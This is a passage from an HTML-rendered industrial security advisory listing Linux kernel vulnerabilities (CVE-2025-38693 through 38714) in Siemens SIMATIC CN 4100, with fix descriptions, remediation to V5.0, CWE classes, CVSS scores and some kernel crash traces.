4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? 